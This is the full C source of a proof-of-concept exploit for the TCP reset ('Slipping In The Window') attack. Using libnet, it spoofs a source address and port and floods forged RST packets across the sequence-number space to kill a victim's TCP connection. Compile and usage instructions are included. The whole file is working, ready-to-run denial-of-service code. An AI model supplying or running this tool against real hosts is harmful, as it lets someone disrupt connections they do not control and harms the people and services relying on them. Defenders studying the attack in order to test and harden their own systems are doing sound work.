/*
 * tcp_reset.c: Proof of concept exploit that demonstrates the vulnerability described
 *              by Paul A. Watson in his paper "Slipping In The Window: TCP Reset Attacks"
 *
 * You need libnet 1.1.x
 *
 * Compile:
 *   gcc tcp_reset.c -o tcp_reset -lnet
 *
 * By: eazy <eazy@ondaquadra.org>
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libnet.h>

void 
usage(char *prog)
{
	fprintf(stderr, "Usage: %s -s <src ip> -d <dst ip> -p <src port> -q <dst port> [-n <seq>] [-w <window size>] [-t <timeout>]\n"
		"\t-s\tsource ip address\n"
		"\t-d\tdestination ip address\n"
		"\t-p\tsource port\n"
		"\t-q\tdestination port\n"
		"\t-n\tinitial sequence number (default random)\n"
		"\t-w\twindow size (default 1000)\n"
		"\t-t\tpacket timeout (default 10000 usec)\n"
		,prog);
	exit(-1);
}

int
main(int argc, char **argv)
{

	int             c, build_ip, opt, win = 1000, timeout = 10000;
	unsigned short  src_port = 0, dst_port = 0;
	unsigned long   src_ip = 0, dst_ip = 0, seq = 0;
	libnet_t       *l;
	libnet_ptag_t   tcp, ip;
	struct libnet_stats stat;
	char            errbuf[LIBNET_ERRBUF_SIZE];

	memset(&stat, 0, sizeof(stat));

	if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {
		fprintf(stderr, "Libnet_init error: %s\n", errbuf);
		exit(-1);
	}
	while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1)
		switch (opt) {
		case 's':
			src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE);
			break;
		case 'd':
			dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE);
			break;
		case 'p':
			src_port = atoi(optarg);
			break;
		case 'q':
			dst_port = atoi(optarg);
			break;
		case 'n':
			seq = strtoul(optarg, NULL, 0);
			break;
		case 'w':
			win = atoi(optarg);
			break;
		case 't':
			timeout = atoi(optarg);
			break;
		case 'h':
		case '?':
			usage(argv[0]);
		}

	if (optind < argc)
		usage(argv[0]);

	if (!src_ip || !dst_ip || !src_port || !dst_port)
		usage(argv[0]);

	if (!seq) {
		libnet_seed_prand(l);
		seq = libnet_get_prand(LIBNET_PRu32);
	}
	for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) {

		tcp = libnet_build_tcp(
				       src_port,	/* source port */
				       dst_port,	/* destination port */
				       seq,	/* sequence number */
				       0,	/* acknowledgement num */
				       TH_RST,	/* control flags */
				       31337,	/* window size */
				       0,	/* checksum */
				       0,	/* urgent pointer */
				       LIBNET_TCP_H,	/* TCP packet size */
				       NULL,	/* payload */
				       0,	/* payload size */
				       l,	/* libnet handle */
				       tcp);	/* libnet id */

		if (tcp == -1) {
			fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l));
			goto bad;
		}
		if (build_ip) {
			build_ip = 0;
			ip = libnet_build_ipv4(
					       LIBNET_IPV4_H + LIBNET_TCP_H,	/* length */
					       0,	/* TOS */
					       666,	/* IP ID */
					       0,	/* IP Frag */
					       64,	/* TTL */
					       IPPROTO_TCP,	/* protocol */
					       0,	/* checksum */
					       src_ip,	/* source IP */
					       dst_ip,	/* destination IP */
					       NULL,	/* payload */
					       0,	/* payload size */
					       l,	/* libnet handle */
					       0);	/* libnet id */

			if (ip == -1) {
				fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l));
				goto bad;
			}
		}
		if ((c = libnet_write(l)) == -1) {
			fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l));
			goto bad;
		}
		usleep(timeout);
	}

	libnet_stats(l, &stat);
	fprintf(stderr, "Packets sent:  %d (%d bytes)\n"
		"Packet errors: %d\n",
		stat.packets_sent, stat.bytes_written, stat.packet_errors);
	libnet_destroy(l);
	exit(0);

bad:
	libnet_destroy(l);
	exit(-1);
}
